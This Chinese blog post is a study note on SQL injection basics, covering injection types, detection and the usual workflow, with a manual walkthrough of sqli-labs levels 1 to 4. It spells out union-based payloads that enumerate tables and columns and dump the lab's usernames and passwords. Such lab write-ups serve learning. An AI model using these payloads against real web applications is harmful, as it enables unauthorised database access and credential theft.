首页 > 数据库 >SQL注入基础学习

SQL注入基础学习

时间:2023-08-19 19:22:57浏览次数:31  
标签:users union 学习 --+ SQL id select 注入

SQL注入基础

一、sql注入的基本知识

Ⅰ、sql注入原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。

产生漏洞的条件:

  • 参数用户可控
  • 参数带入数据库查询
Ⅱ、都有哪些注入类型
1.按请求类型区分
  • get型

  • post型

  • Cookie注入

2.按注入数据类型区分
  • 数字型
  • 字符型
  • 搜索型:select * from users where username like '%念%'
3.其他(按sqlmap中的分类)
  • 布尔盲注
  • 堆叠注入
  • 宽字节注入
  • 联合注入
    • 第一 先判断是数字还是字符 先判断列 然后看回显的地方 查数据库 查表 查字段 最后拿到我们的账号密码
  • 报错注入
    • 有回显 联合注入 报错注入会用哪些函数呢(extractvalue、updatxml 、 exp 、floor)
    • 无回显1 (不是完全没有回显)布尔盲注true false
    • 无回显2 完全没有回显 dnslog注入(出网) 时间盲注
  • 时间盲注
Ⅲ、如何判断是否存在注入
  • 有回显(页面有数据,信息的返回)
    id=1 and 1=1
    id=1 and 1=2
    id=1 or 1=1
    id='1' or '1'='1'
    id="1" or "1"="1"
    最常用的可以输入一个‘单引号测试
    
  • 无回显(使用sleep函数等)
Ⅳ、三种sql注释符

#:单行注释,常被编码为%23

--空格:单行注释

/*()*/:多行注释

/**/:常用来作为空格

Ⅴ、注入流程
  1. 测试是否存在注入点并且判断注入类型
  2. 判断字段数,用order by
  3. 确定回显位
  4. 查询数据库信息
  5. 查询表等

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

1、第1关
  • 先在网址后面输入?id=1,页面会正常输出,如图所示

  • 判断是否存在注入点并确定注入类型(id=1'(常见)id=1" id=1') id=1')) id=1") id=1")),输入后根据返回包的长度或者报错来确定是否存在注入点)

    • 在id=1后面加符号来判断注入点,经过测试,发现注入点存在,当输入id=1‘时,页面会报错,说明存在注入点

    • 输入?id=2-1,如果与id=1的页面相同,则是数字型,如果与id=2的页面相同,则是字符型,经过测试是字符型注入,如下图,页面与id=2的一样

  • 判断字段个数,利用order by来判断,当输入?id=1' order by 4--+时,页面报错,在将4换成3,页面不报错的话,就说明有3个字段,如图所示,(?id=1' order by 4--+,页面会报错)

  • 判断回显位,利用联合注入。

    ?id=-1' union select 1,2,3--+
    

    id输入一个不存在的值,如果输入1的话,页面会输出id=1的页面信息,经过测试后发现回显位是2,3.

  • 查询数据库信息,查询数据库名和用户名信息,数据库为security

    ?id=-1' union select 1,database(),user()--+
    

  • 查询数据库中表的信息,查询出来有四张表,选择看起来有用的users来查询

    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    

  • 查询users表中的信息

    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    

  • 查询usernamepassword字段

    ?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
    

2、第2关
/*判断字符还是数字,利用符号和id=2-1来判断*/
经过测试,是数字型的注入,采用联合注入。

/*利用order by来测试出字段数*/
字段数为3

/*判断回显位*/
union select 1,2,3--+
/*回显位是2,3*/

/*查看数据库以及当前用户名*/
union select 1,database(),user()--+
/*获得数据库名为 security ,用户名为 root@localhost*/

/*获取数据库中表的信息*/
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
/*获得表mails,referers,uagents,users*/

/*选择users表,获取表的字段*/
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
/*获得字段id,username,password*/

/*获取username,password字段中的信息*/
union select 1,(select group_concat(username,'^',password) from users),3--+
/*
获得信息,用户名和密码之间用^符号连接
Dumb^Dumb,Angelina^I-kill-you,Dummy^p@ssword,secure^crappy,stupid^stupidity,superman^genious,
batman^mob!le,admin^admin,admin1^admin1,admin2^admin2,admin3^admin3,dhakkan^dumbo,admin4^admin4
*/
3、第3关
/*字符型注入,闭合方式为')*/
后面的代码和第二关一样 
4、第4关
/*字符型注入,闭合方式为")*/
后面的代码和第二关一样 

标签:users,union,学习,--+,SQL,id,select,注入
From: https://www.cnblogs.com/xiaoyi208/p/17642909.html

相关文章

  • ThinkPHP6学习笔记2
    门面模式facadefacade不能在模型里面建立关联关系:这里是属于注入是不能使用facade类的Facade怎么获取model实例对象-facedeinstance方法$model=TestFacadeModel::instance();-容器类直接实例化$model=app(TestModel::class,[],true);-facade定义类新建......
  • 记一次MySQL数据库被黑
    情况概述偶然获得了一台云服务器,并在上面使用Docker搭建了MySQL数据库,想着将平时做Demo用到的数据转过去,结果一直犯懒没弄.今天在登陆时发现数据库被黑了.使用showdatabases命令后看到一个名为README_TO_RECOVER_A的库,库中有张表,表的内容为:Allyourdataisbacke......
  • python机器学习经典算法代码示例及思维导图(数学建模必备)
    最近几天学习了机器学习经典算法,通过此次学习入门了机器学习,并将经典算法的代码实现并记录下来,方便后续查找与使用。这次记录主要分为两部分:第一部分是机器学习思维导图,以框架的形式描述机器学习开发流程,并附有相关的具体python库,做索引使用;第二部分是相关算法的代码实现(其实就是......
  • python+playwright 学习-73 page.wait_for_selector()
    前言网页上的元素有不同状态,有些元素本来不在DOM里,点击某个按钮后才出现。有些元素是本来就已经在DOM里是隐藏的状态,点某个按钮后才变成显示状态。如果我们想让元素到达指定的状态再下一步操作,可以用page.wait_for_selector()方法。page.wait_for_selector()方法wait_for_s......
  • MySQL技能树学习
    在MySQL相关技能树的学习过程当中,存在一些问题,比如在移动端的学习体验和PC的学习体验不一样,这个相信学习过的朋友都有所感觉。尤其移动端的技能树切换、同一个技能树内,不同节点的切换,都比较繁琐。PC感觉还好,同样不太好的还有在移动端的返回功能比较难用,   整体而言,MySQL的技......
  • Navicat执行mysql脚本报错
    1、错误日志[Err]1055-Expression#1ofORDERBYclauseisnotinGROUPBYclause andcontainsnonaggregatedcolumn'information_schema.PROFILING.SEQ' whichisnotfunctionallydependentoncolumnsinGROUPBYclause; thisisincompatiblewith......
  • 大华智慧园区综合管理平台SQL注入漏洞复现
    一、产品简介大华智慧园区综合管理平台是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。二、漏洞概述大华智慧园区综合管理平台未对用户的输入进行有效的过滤,直接将其拼接进了S......
  • KMP 字符串匹配 学习笔记
    前言最近才发现自己写了后缀数组,但并没有其他的字符串算法,今天先把\(KMP\)字符串匹配先讲一下。算法核心对于字符串匹配,最朴素的方法就是一个字符一个字符地匹配,找到不同的就直接换一个地方匹配。我们先来看一组样例:\(ababababe\)\(ababe\)对于这组样例,暴力的方法就是直......
  • MySqlBulkLoader批量数据插入
    MySqlBulkLoader批实现过程:将需要的数据集保存到CSV文件,然后再从文件里面读取。 CsvHelp1///<summary>2///定义csv文件3///</summary>4///<paramname="folder">路径</param>5///<paramname="......
  • Spring set 注入不同类型的参数
    案例建立复杂的数据类型Student类publicclassStudent{privateStringname;privateAddressaddress;privateList<String>books;privateMap<String,String>card;privatePropertiesinfo;privateStringwinner;privatebool......